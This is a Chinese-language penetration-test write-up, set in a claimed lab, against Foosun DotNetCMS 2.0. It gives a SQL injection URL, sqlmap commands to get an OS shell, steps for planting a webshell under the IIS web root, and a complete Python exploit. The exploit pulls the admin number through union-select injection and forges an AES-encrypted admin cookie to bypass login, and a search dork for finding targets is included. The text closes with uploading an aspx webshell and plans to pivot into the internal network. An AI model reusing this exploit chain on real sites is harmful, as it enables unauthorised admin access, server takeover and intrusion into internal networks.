聲明:本篇文章測試網絡環境為內網搭建靶場測試
先了解一下網絡結構圖(結構圖為測試后繪制)

關於10段的FTP因時間關系沒有繼續進行探測
信息收集:
通過NMAP進行端口掃描 發現網站開放了80,443,700,8080端口
80端口下存在web服務 :Foosun DotNetCMS 2.0 網站為IIS搭建的aspx站 服務器操作系統為win2008
8080端口下存在路由登錄界面

滲透過程:
通過網上查找Foosun DotNetCMS 2.0發現該CMS存在SQL注入 后台登錄繞過
SQL注入:
通過查詢發現該CMS存在sql注入 注入點為:
www.test.com/user/City_ajax.aspx?Cityld=1

使用sqlmap對注入點進行測試,可以跑處后台用戶名及密碼,但密碼較復雜解不開
嘗試使用sqlmap查詢權限,發現權限較高,並且可以反彈shell
sqlmap查看權限:sqlmap.py -u 網址 --privileges
sqlmap反彈shell:sqlmap.py -u 網址 --os-shell
![]()

使用shell 查詢一下權限和IP
發現權限為系統權限可以進行寫入操作
發現IP為192.168.1.123 說明該網站是搭建在192.168.1.123上,在通過端口轉發 轉到了192.168.31.55上
發現有寫入權限 進行寫入一句話木馬,但是寫入一句話木馬需要知道服務器的絕對路徑
網站為IIS搭建,我們可以嘗試猜一下絕對路徑
C:\inetpub\wwwroot\
D:\inetpub\wwwroot\
發現可以寫入的絕對路徑為C:\inetpub\wwwroot\
成功寫入asp的一句話

在寫aspx的一句話時發現<無法識別,那就需要轉譯可以使用^ (在一句話里的所有<都需要轉譯)

使用菜刀或蟻劍可以成功訪問 我們就成功可以讀取192.168.1.123的文件了

后台登錄繞過
通過與sql注入的結合使用可以繞過后台登錄
工具:EditThisCookie python Crypto模塊
漏洞具體產生原因可以百度一下,這里只介紹測試過程
通過注入可以獲取UserNumber:

將得到的UserNumber進行加密,得到加密串,寫入cookie就可以成功登陸。
但是cookie需要加密,使用下面的腳本進行加密
使用exp代碼如下:
#coding:utf-8
import argparse
import urllib
import traceback
import base64
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
###############################
##search keyword: ##
##inurl:/manage/Login.aspx ##
###############################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()
def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#寫入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()
def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return None
def pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_text
def generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertext
def write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)
if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"
把exp代碼復制,在桌面新建一個Foosun_exp.py腳本文件並把代碼粘貼
在cmd下使用python運行該文件,如果無法運行說明python沒有安裝Crypto模塊
使用pip 進行安裝Crypto模塊
安裝命令: pip install pycryptodome
安裝成功后在運行Foosun_exp.py就可以獲取到加密Cookie
用EditThisCookie寫入瀏覽器Cookie,再訪問管理主頁面鏈接即可。

如果pip無法使用的話 有2個原因
1.沒有設置環境變量 在環境變量的path中加入:G:\Python\Scripts
2.pip版本低 升級pip

這樣我們就成功登錄后台,進入后台后通過修改上傳參數,使aspx的文件可以上傳,隨便找個上傳點進行上傳一句話 之后使用菜刀連接

到這里我們已經拿到了IP為192.168.1.123內網服務器,要想進行內網漫游,得獲取路由的權限
